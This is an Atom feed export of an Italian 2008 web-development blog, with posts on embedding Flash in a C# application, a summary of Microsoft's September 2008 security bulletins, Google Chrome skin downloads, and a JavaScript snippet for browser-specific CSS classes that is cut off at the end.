<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3135078221907259985</id><updated>2011-11-05T15:08:57.749+01:00</updated><category term='PHP'/><category term='Web Development'/><category term='Xml'/><category term='Firefox'/><category term='Microsoft'/><category term='CSS'/><category term='Javascript'/><category term='Tools'/><category term='Security'/><category term='XSS'/><category term='Graphic'/><category term='Google'/><category term='Tutorials'/><category term='Ajax'/><category term='C-sharp'/><category term='Web News'/><category term='Photoshop'/><title type='text'>Devjoker 3.0</title><subtitle type='html'>Tips, resources, examples and tutorials for .NET application,&lt;br&gt; Web development, Graphic design and more.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-8100999984986466544</id><published>2008-09-10T16:21:00.023+02:00</published><updated>2008-09-10T20:03:12.447+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C-sharp'/><title type='text'>C#: Integrare Flash e farlo interagire nelle vostre applicazioni</title><content type='html'>&lt;div style="text-align: justify;"&gt;Non molto tempo fà ho dovuto sviluppare un'applicazione che integrasse un filmato Flash e interagisse con esso. Vediamo come realizzare un'applicazione del genere:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Per prima cosa dobbiamo aggiungere nella toolbox (casella degli strumenti) di Visual Studio i controlli &lt;b&gt;Shockwave ActiveX&lt;/b&gt;, quindi tasto destro sulla toolbox -&amp;gt; Aggiungi Scheda e assegnargli un nome.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ora bisogna generare un InterOp Asembly che vi permetterà di usare il controllo ActiveX nel vostro Form. Per fare questo, tasto destro sulla nuova scheda creata nella toolbox -&amp;gt; Scegli elementi -&amp;gt; Componenti COM e aggiungere '&lt;b&gt;Shockwave Flash Object&lt;/b&gt;'.&lt;/div&gt;&lt;span class='fullpost'&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Prima di fare il drag di questo nuovo controllo sul vostro form bisogna sapere che VS2008 così come il suo predecessore VS2005 non aggiunge automaticamente i riferimenti COM necessari per l' OLE Automation quindi per rimediare a questa situazione bisogna aggiungere il riferimento a OLE Automation COM nel vostro progetto.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Per fare questo, da Esplora Soluzioni espandere il vostro progetto in questione, tasto destro su Riferimenti -&amp;gt; Aggiungi riferimento e nella scheda COM selezionare 'OLE Automation' e fare OK.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ora draggando il controllo sul form noterete che Visual Studio aggiungerà alcuni nuovi riferimenti al vostro progetto. Questi sono gli InterOp Assembly per il controllo ActiveX Shockwave Flash Object Player.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Create una funzione e caricate il filmato flash in questo modo:&lt;/div&gt;&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;span class="kwrd"&gt;string&lt;/span&gt; path = System.Environment.CurrentDirectory;&lt;br /&gt;path += &lt;span class="str"&gt;@"\prova.swf"&lt;/span&gt;;&lt;br /&gt;axShockwaveFlash1.LoadMovie(0,path);&lt;br /&gt;axShockwaveFlash1.Play();&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ricordate di aggiungere l'.swf nella vostra directory di Debug prima di testare.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Spostiamoci ora in Macromedia Flash e vediamo come far interagire il vostro .swf. Per mandare dati da un filmato Flash verso la vostra applicazione c'è bisogno di una chiamata alla funzione&amp;nbsp;FSCommand. Questa funzione richiede 2 parametri opzionali: comando e parametri.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_o4CtEdXe-DM/SMf0acLz7NI/AAAAAAAAALM/5d1ma4ERBVQ/s1600-h/flash1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: justify;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_o4CtEdXe-DM/SMf0acLz7NI/AAAAAAAAALM/cmTfv4kw2Kw/s320-R/flash1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Per fare un esempio ho creato in Flash 3 bottoni (non mi dilungo a spiegare come perchè questo non è un tutorial su Flash):&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_o4CtEdXe-DM/SMf4pjdVmNI/AAAAAAAAALc/iG9vzwGDyXM/s1600-h/flash2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: justify;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_o4CtEdXe-DM/SMf4pjdVmNI/AAAAAAAAALc/Y8Mn67j2XPo/s320-R/flash2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Nell'evento&amp;nbsp;&lt;span style="font-weight: bold;"&gt;on (press)&lt;/span&gt; dell'action script del primo bottone ci ho inserito:&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;on (press) {&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;fscommand("Bottone","uno");&lt;/div&gt;&lt;div style="text-align: justify;"&gt;}&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Adesso abbiamo bisogno di raccogliere i dati inviati dal filmato Flash.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Per fare questo incominciamo nell'aggiungere un nuovo gestore di eventi in questo modo:&lt;/div&gt;&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;span class="kwrd"&gt;this&lt;/span&gt;.axShockwaveFlash1.FSCommand += &lt;span class="kwrd"&gt;new&lt;/span&gt; AxShockwaveFlashObjects._IShockwaveFlashEvents_FSCommandEventHandler(&lt;span class="kwrd"&gt;this&lt;/span&gt;.axShockwaveFlash1_FSCommand);&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;e la sua relativa funzione:&lt;/div&gt;&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; axShockwaveFlash1_FSCommand(&lt;span class="kwrd"&gt;object&lt;/span&gt; sender, AxShockwaveFlashObjects._IShockwaveFlashEvents_FSCommandEvent e)&lt;br /&gt;{&lt;br /&gt;label1.Text = &lt;span class="str"&gt;"E' stato premuto: "&lt;/span&gt; + e.command.ToString() + &lt;span class="str"&gt;" "&lt;/span&gt; + e.args.ToString();&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Eseguiamo la nostra applicazione:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMgEBkdDFGI/AAAAAAAAALk/kQldnhOL25k/s1600-h/flash3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: justify;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMgEBkdDFGI/AAAAAAAAALk/bW3ChtDizWc/s320-R/flash3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-8100999984986466544?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/8100999984986466544/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/c-integrare-flash-e-farlo-interagire.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/8100999984986466544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/8100999984986466544'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/c-integrare-flash-e-farlo-interagire.html' title='C#: Integrare Flash e farlo interagire nelle vostre applicazioni'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_o4CtEdXe-DM/SMf0acLz7NI/AAAAAAAAALM/cmTfv4kw2Kw/s72-Rc/flash1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-4784326614101213029</id><published>2008-09-10T15:56:00.004+02:00</published><updated>2008-09-10T16:03:23.114+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Web News'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>Patch Day di settembre: 4 bollettini critici</title><content type='html'>&lt;blockquote&gt;Il Patch Day di settembre porta con sé quattro patch per 8 vulnerabilità  critiche che coinvolgono Windows Media Player, Windows Media Encoder, Microsoft  Office e Microsoft Windows GDI+ (graphics device interface)&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMfST3jvX3I/AAAAAAAAAK8/R73B-0sBA_I/s1600-h/news_5f45281acc862d30.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMfST3jvX3I/AAAAAAAAAK8/OdH_IpoNaiI/s320-R/news_5f45281acc862d30.png" /&gt;&lt;/a&gt;Puntuale come ogni mese, &lt;a href="http://www.microsoft.com/technet/security/bulletin/ms08-sep.mspx" target="_blank"&gt;arriva&lt;/a&gt;  il &lt;strong&gt;Patch Day di Microsoft&lt;/strong&gt; portando con sé &lt;strong&gt;quattro patch  indirizzate a otto vulnerabilità critiche&lt;/strong&gt; che coinvolgono Windows Media  Player, Windows Media Encoder, Microsoft Office e Microsoft Windows GDI+  (graphics device interface).&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Il primo bollettino critico &lt;strong&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/ms08-052.mspx" target="_blank"&gt;MS08-052&lt;/a&gt;&lt;/strong&gt;  riporta cinque vulnerabilità che affliggono &lt;strong&gt;Microsoft Windows  GDI+&lt;/strong&gt; e che permettono l'esecuzione di codice da remoto nel caso un  utente tentasse di visualizzare tramite un software "contaminato" o siti Web  malevoli una immagine creata opportunamente per ottenere l'exploit. Le  vulnerabilità, critiche sotto Windows XP, Windows Server 2003, Vista e Windows  Server 2008, si differenziano per il tipo di immagine utilizzata come vettore di  attacco (VML, EMF, GIF, WMF o BMP).&lt;/div&gt;&lt;span class='fullpost'&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Il secondo bollettino critico &lt;strong&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/ms08-053.mspx" target="_blank"&gt;MS08-053&lt;/a&gt;&lt;/strong&gt;  espone una vulnerabilità insita in &lt;strong&gt;Windows Media Encoder 9&lt;/strong&gt;, più  precisamente all'interno del controllo ActiveX WMEX.DLL installato da Windows  Media Encoder 9 Series, ed in grado di permettere l'esecuzione di codice  arbitrario da remoto nel caso un utente acceda a pagine Web create con intenti  malevoli. La vulnerabilità risulta critica sotto Microsoft Windows 2000, Windows  XP e Windows Vista.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Il terzo bollettino critico &lt;strong&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/ms08-054.mspx" target="_blank"&gt;MS08-054&lt;/a&gt;&lt;/strong&gt;  appare relativo ad un bug evidenziato in &lt;strong&gt;Windows Media Player  11&lt;/strong&gt; ed in grado di permettere l'esecuzione di codice da remoto nel caso  un utenti effettui lo streaming di un file audio opportunamente creato da un  server Windows Media. La debolezza riguarderebbe il modo con cui il client  gestisce le playlist server-side (SSPL) e non sarebbe stata riscontrata nelle  versioni precedenti del player multimediale.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;L'ultimo bollettino critico &lt;strong&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/ms08-055.mspx" target="_blank"&gt;MS08-055&lt;/a&gt;&lt;/strong&gt;  riporta una vulnerabilità in &lt;strong&gt;Microsoft Office e più precisamente in  Microsoft Office OneNote 2007&lt;/strong&gt;. La falla potrebbe permettere  l'esecuzione di codice da remoto nel caso un utente cliccasse su di un URL  opportunamente confezionata e associato a OneNote. Una volta preso possesso del  sistema, un utente malintenzionato potrebbe installare al suo interno programmi,  visualizzare, modificare o eliminare dati, oppure creare nuovi account con tutti  i privilegi.&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-4784326614101213029?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/4784326614101213029/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/patch-day-di-settembre-4-bollettini.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/4784326614101213029'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/4784326614101213029'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/patch-day-di-settembre-4-bollettini.html' title='Patch Day di settembre: 4 bollettini critici'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_o4CtEdXe-DM/SMfST3jvX3I/AAAAAAAAAK8/OdH_IpoNaiI/s72-Rc/news_5f45281acc862d30.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-1045640514201330175</id><published>2008-09-10T14:27:00.001+02:00</published><updated>2008-09-10T15:45:32.812+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Le prime skins per Google Chrome</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe-Spk824I/AAAAAAAAAKs/0VO4TZ-bcrc/s1600-h/safarishgc.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe-Spk824I/AAAAAAAAAKs/pf3rmKOvY0o/s320-R/safarishgc.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download:&amp;nbsp;&lt;a href="http://www.deviantart.com/download/97158480/Chrome_Safarish_by_eamon63.zip" onclick="javascript:pageTracker._trackPageview ('/outbound/www.deviantart.com');"&gt;Chrome Safari&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe-R6N_FXI/AAAAAAAAAKk/kN7loVSVCRA/s1600-h/redgc.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe-R6N_FXI/AAAAAAAAAKk/B0j1TOYWgLI/s320-R/redgc.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download:&amp;nbsp;&lt;a href="http://rapidshare.com/files/143196455/Red.rar" onclick="javascript:pageTracker._trackPageview ('/outbound/rapidshare.com');"&gt;Red Textured&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe9jHdGcyI/AAAAAAAAAKc/1-pSP5DzJ3A/s1600-h/mintgc.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe9jHdGcyI/AAAAAAAAAKc/-4ruB53N94w/s320-R/mintgc.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download:&amp;nbsp;&lt;a href="http://rapidshare.com/files/143196454/Mint.rar" onclick="javascript:pageTracker._trackPageview ('/outbound/rapidshare.com');"&gt;Mint textured&lt;/a&gt;&lt;br /&gt;&lt;span class='fullpost'&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe9hg7MJwI/AAAAAAAAAKU/L5ZcueKTzZI/s1600-h/limegreengc.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe9hg7MJwI/AAAAAAAAAKU/sFexi2KfXrg/s320-R/limegreengc.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download:&amp;nbsp;&lt;a href="http://rapidshare.com/files/143196453/Green.rar" onclick="javascript:pageTracker._trackPageview ('/outbound/rapidshare.com');"&gt;LimeGreen Textured&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe9gAq-kCI/AAAAAAAAAKM/pf54Y27Cwjw/s1600-h/bluegc.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe9gAq-kCI/AAAAAAAAAKM/9dKEBswbT0Q/s320-R/bluegc.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download:&amp;nbsp;&lt;a href="http://rapidshare.com/files/143196452/Blue.rar" onclick="javascript:pageTracker._trackPageview ('/outbound/rapidshare.com');"&gt;Blue Textured&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_o4CtEdXe-DM/SMe9e_JkWYI/AAAAAAAAAKE/IFoX6lj08x8/s1600-h/blackgc.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_o4CtEdXe-DM/SMe9e_JkWYI/AAAAAAAAAKE/eAwkeaq3VPs/s320-R/blackgc.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download:&amp;nbsp;&lt;a href="http://rapidshare.com/files/143196451/Black.rar" onclick="javascript:pageTracker._trackPageview ('/outbound/rapidshare.com');"&gt;Black textured&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe-TyjPaKI/AAAAAAAAAK0/L3TtguntG4g/s1600-h/tangogc.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe-TyjPaKI/AAAAAAAAAK0/zqN78b8Nwdg/s320-R/tangogc.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download:&amp;nbsp;&lt;a href="http://www.deviantart.com/download/97116365/Tango_Chrome_by_Zoxc.zip" onclick="javascript:pageTracker._trackPageview ('/outbound/www.deviantart.com');"&gt;Tango  Chrome&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Installazione su Windows XP:&lt;/li&gt;Individuare la directory: C:\Documents and Settings\”vostro nome utente”\Impostazioni Locali\Dati applicazioni\Google\Chrome\Application\0.2.149.29\Themes Cercare il file “default.dll” e rinominarlo come “backupdefault” (senza .dll), copiare il file contenuto nel download (default.dll) nella directory “themes” di Google Chrome.&amp;nbsp; &lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Installazione su Windows Vista:&lt;/li&gt;Individuare la directory: C:\Users\”vostro nome utente”\AppData\Local\Google\Chrome\Application.2.149.29\Themes Cercare il file “default.dll” e rinominarlo come “backupdefault” (senza .dll), copiare il file contenuto nel download (default.dll) nella directory “themes” di Google Chrome.&lt;/ul&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-1045640514201330175?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/1045640514201330175/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/le-prime-skins-per-google-chrome.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/1045640514201330175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/1045640514201330175'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/le-prime-skins-per-google-chrome.html' title='Le prime skins per Google Chrome'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_o4CtEdXe-DM/SMe-Spk824I/AAAAAAAAAKs/pf3rmKOvY0o/s72-Rc/safarishgc.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-2735484177871497786</id><published>2008-09-09T12:09:00.005+02:00</published><updated>2008-09-09T12:52:05.436+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Development'/><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>CSS: Un'alternativa per non usare gli hacks</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;a href="http://3.bp.blogspot.com/_o4CtEdXe-DM/SMZQFC2O48I/AAAAAAAAAJ8/8QirTUqcXpw/s1600-h/css2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_o4CtEdXe-DM/SMZQFC2O48I/AAAAAAAAAJ8/CUZXbCPM3gg/s320-R/css2.jpg" /&gt;&lt;/a&gt;&lt;div style='text-align: justify'&gt;Tutti gli sviluppatori di siti web sanno che alcuni stili vengono visualizzati in modo diverso nei vari browser. Per correggere questa cosa, solitamente si usano i 'css hacks'.&lt;br /&gt;Voglio farvi vedere un'ottima soluzione alternativa per non utilizzare gli 'hacks' tramite javascript:&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;var cssFix = function(){&lt;br /&gt;var u = navigator.userAgent.toLowerCase(),&lt;br /&gt;addClass = function(el,val){&lt;br /&gt;if(!el.className) {&lt;br /&gt;el.className = val;&lt;br /&gt;} else {&lt;br /&gt;var newCl = el.className;&lt;br /&gt;newCl+=(" "+val);&lt;br /&gt;el.className = newCl;&lt;br /&gt;}&lt;br /&gt;},&lt;br /&gt;is = function(t){return (u.indexOf(t)!=-1)};&lt;br /&gt;addClass(document.getElementsByTagName(’html’)[0],[&lt;br /&gt;(!(/opera|webtv/i.test(u))&amp;amp;&amp;amp;/msie (d)/.test(u))?(’ie ie’+RegExp.$1)&lt;br /&gt;:is(’firefox/2&amp;amp;#8242;)?’gecko ff2&amp;amp;#8242;&lt;br /&gt;:is(’firefox/3&amp;amp;#8242;)?’gecko ff3&amp;amp;#8242;&lt;br /&gt;:is(’gecko/’)?’gecko’&lt;br /&gt;:is(’opera/9&amp;amp;#8242;)?’opera opera9&amp;amp;#8242;:/opera (d)/.test(u)?’opera opera’+RegExp.$1&lt;br /&gt;:is(’konqueror’)?’konqueror’&lt;br /&gt;:is(’applewebkit/’)?’webkit safari’&lt;br /&gt;:is(’mozilla/’)?’gecko’:”,&lt;br /&gt;(is(’x11&amp;amp;#8242;)||is(’linux’))?’ linux’&lt;br /&gt;:is(’mac’)?’ mac’&lt;br /&gt;:is(’win’)?’ win’:”&lt;br /&gt;].join(" "));&lt;br /&gt;}();&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Dopo l'esecuzione, possiamo utilizzare questi stili per i browser:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;.ie — Tutte le versioni di IE;&lt;br /&gt;.ie8 — IE 8.х;&lt;br /&gt;.ie7 — IE 7.x;&lt;br /&gt;.ie6 — IE 6.x;&lt;br /&gt;.ie5 — IE 5.x;&lt;br /&gt;.gecko — Tutte le versioni di Firefox;&lt;br /&gt;.ff2 — Firefox 2;&lt;br /&gt;.ff3 — Firefox 3;&lt;br /&gt;.opera — Tutte le versioni di Opera;&lt;br /&gt;.opera8 — Opera 8.x;&lt;br /&gt;.opera9 — Opera 9.x;&lt;br /&gt;.konqueror — Konqueror;&lt;br /&gt;.safari — 